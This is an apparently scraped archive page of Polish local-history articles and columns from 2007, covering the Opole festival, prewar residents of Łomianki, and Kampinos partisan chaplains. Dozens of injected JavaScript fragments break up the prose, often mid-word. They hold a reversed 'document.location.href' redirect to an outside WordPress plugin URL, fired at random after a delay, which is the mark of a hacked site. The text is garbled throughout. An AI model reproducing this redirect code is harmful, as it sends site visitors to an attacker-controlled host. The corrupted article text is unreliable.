Kategoria: Historia

2007-07-28 / / Historia

Na początku pytanie: Jak w tym roku przywita publiczność prowadząca program wesoła para Okupnik i Orzech? Tak, tak! Przywitała bardzo serdecznie! Potem pan Orzech wyjaśnił, że amfiteatr „od kilku lat będzie remontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany” i zaczęło się. Początek był niezły i rokował. Trzy niezawodne białe Murzynki tworzące pod wodzą Lory Szafran puszystą grupę „Big Stars” dały czadu. Potem było gorzej. Program wypełniony toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do znudzenia powtarzanymi niby muzycznymi frazkami przebiegał bez wrażenia. Prowadzący co i rusz wołali „wielkie brawa”, ale niezawodna publiczność opolska reagowała grzecznościowo, a pod koniec drugiego dnia trwania imprezy nie dawała już znaku życia co owocowało powstawaniem kłopotliwych sfer ciszy między utworami. Już czaił się klops.

2007-07-28 / / Felietony

Jesteśmy na bardzo wytwornym przyjęciu. Są pyszne przystawki, wreszcie podają równie pyszną zupę. Jeden z młodych kolegów pyta w pewnym momencie: – Dlaczego, kiedy kończy się wybierać zupkę z talerza, przechyla się ten talerz w kierunku stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tołu? Na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pan Dodek (Atoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dolf Dymsza) – Panie kolego! – Bo lepiej jest oblać czyjś obrus niż własne spodnie…

2007-05-29 / / Artykuły

Stefan Gocławski, syn Feliksa, właściciela karczmy w Łomiankach, prowadził sklep wędliniarsko-mięsny w lokalu z wejściem od strony ul. Warszawskiej. W podwórzu była masarnia i budynki gospodarcze. Przy produkcji wędlin zatrudniał czeladników-masarzy i szkolił uczniów. W sklepie pracowała również jego żona. Gocławscy mieli trzech synów i córkę. Oprócz sklepu posiadali także gospodarstwo rolne na terenie Łomianek Starych. Stefan Gocławski od 1935 r. sprawował funkcję sołtysa Łomianek Górnych i Starych. Stanowisko toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to piastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tował nieprzerwanie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do 1950 r. Do czasu wybuchu wojny sprawował tę funkcję bez zarzutu, jednak okres wojny powotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dował konieczność podejmowania trudnych decyzji, częstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to narzucanych przez Niemców.

2007-05-29 / / Artykuły

Według wspomnień żyjących jeszcze żołnierzy, drugim kapelanem Grupy Kampinos rezydującym przy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowództwie partyzanckim w Wierszach w czasie powstania, był ksiądz Jerzy Euzebiusz Baszkiewicz znany pod pseutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donimem „Radwan II”, a przez swych ministrantów życzliwie przezywany „Gramofonem” z racji charakterystycznego głosu.

2007-04-29 / / Artykuły

Przedstawiamy kolejny odcinek opowieści pana Jerzego Regulskiego o przedwojennych mieszkańcach ul. Warszawskiej. Ale najpierw małe sprostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie. W treść poprzedniego odcinka wkradło się kilka błędów. Sprostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie, które otrzymaliśmy od potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomków rodziny Kozdrojów (serdecznie dziękujemy), zamieszczamy w poprzednim odcinku.

Redakcja

Obok zakładu fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tograficznego pana Remigiusza Bierzanka (Warszawska 168) stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toi murowany budynek pana Stanisława Jabłońskiego zbutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowany przed 1939 r. Pan Jabłoński prowadził zakład kołodziejski, w którym świadczył usługi dla rolników, mieszkańców Łomianek i okolicznych wiosek. Do szczytu budynku przylegała zabutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowa drewniana. Państwo Jabłońscy mieli dwie córki, Stanisławę, która wyszła za mąż za Alekstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra Radzikowskiego, właściciela warsztatu mechaniczno-samochotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowego, i Genowefę, zamężną z Eugeniuszem Nasierowskim – fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tografem.

2007-04-29 / / Artykuły

Jednym z kapelanów o najdłuższym szlaku bojowym, bo aż z Puszczy Nalibockiej, był kapelan oddziału porucznika Atoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dolfa Pilcha – „Góry”, ksiądz mjr Bolesław Hilary Pracz-Praczyński.

Ks. Hilary urodził się 08.07.1900 r. w Trzebieni koło Magnuszewa jako pierwszy z pięciorga dzieci Jana Pracza i Marii z d. Paciorek. Na prośbę ojca – koniuszego w stadninie Zamoyskich – sam hrabia podawał małego Bolesława toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do chrztu, a później wspomagał rodziców w jego kształceniu, dzięki czemu uczęszczał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do gimnazjum w Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domierzu, a potem w Warszawie. Dalsze wykształcenie odebrał we Lwowie, gdzie w 1919 r. wstąpił toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zakonu franciszkanów. Po ukończeniu nowicjatu wstąpił toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do seminarium duchownego w Krakowie na wydział filozoficzno-teologiczny. Wyświęcony na kapłana 11.03.1928 r. przyjął imię Hilary.

2007-03-25 / / Artykuły

Wśród wielu prac toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczących konspiracji i partyzantki w Puszczy Kampinoskiej i na jej obrzeżu, jakie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotychczas opublikowano w postaci książek lub innych form literackich, brak jest jednej, zwartej monografii, poświęconej partyzanckim duchownym. Być może czasy, w których opisywano dzieje „Grupy Kampinos” nie były zbyt łaskawe dla Kościoła, a autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torzy w trosce o „poprawność ideologiczną”, jeśli już wspominali, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raczej marginalnie o posłudze duszpasterskiej, jaką pełnili księża kapelani w szeregach partyzantów. Wyjątkiem jest tu nieco fabularyzowana książka Macieja Patkowskiego pt. „Stefan Wyszyński Prymas Kampinosu”, ale i ona toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczy w zasadzie tylko jednego kapelana, a poza tym wydana została toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopiero w 2001 r.

2007-03-25 / / Artykuły

Kolejny odcinek opowieści pana Jerzego Regulskiego o przedwojennych mieszkańcach ulicy Warszawskiej (#1 #2 #3)

W sąsiedztwie państwa Mazurków znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dował się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom – zaplecze, który był własnością Antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toniego Królaka. Dom był drewniany, na parterze miał pięć izb, a na poddaszu trzy z witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokiem na ul. Warszawską. Budynek ten został obmurowany i dziś nie przypomina starego drewnianego toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domu. Przetrwał działania wojenne, jak również całą okupację. Obecnie zamieszkiwany jest przez wnuczka pana Marchwińskiego.

2007-02-12 / / Artykuły

Inż. architekt Zdzisław Szczęsny Celarski Opowieść o inżynierze architekcie Zdzisławie Szczęsnym Celarskim projektantem pierwszych toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domów w Dąbrowie Leśnej

2007-02-12 / / Artykuły

Kolejny odcinek opowieści pana Jerzego Regulskiego o przedwojennych mieszkańcach ulicy Warszawskiej (#1 i #2

przedwojenni-mieszkancy-1a.JPG Idąc prawą stroną ul. Warszawskiej w kierunku Kiełpina, za opisaną w poprzednim odcinu karczmą Feliksa Gocławskiego stał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom znanego społecznika i jednocześnie Komendanta Ochotniczej Straży Pożarnej oraz prezesa łomiankowskiej organiacji oficerów rezerwy Wojska Polskiego, Władysława Kowalskiego (obecnie na placu tym stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toi warsztat samochotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy pana Bojczuka). W. Kowalski wraz z żoną prowadził sklep spożyw-czo-przemysłowy. Mieli dwoje dzieci, Janinę i Zbysława.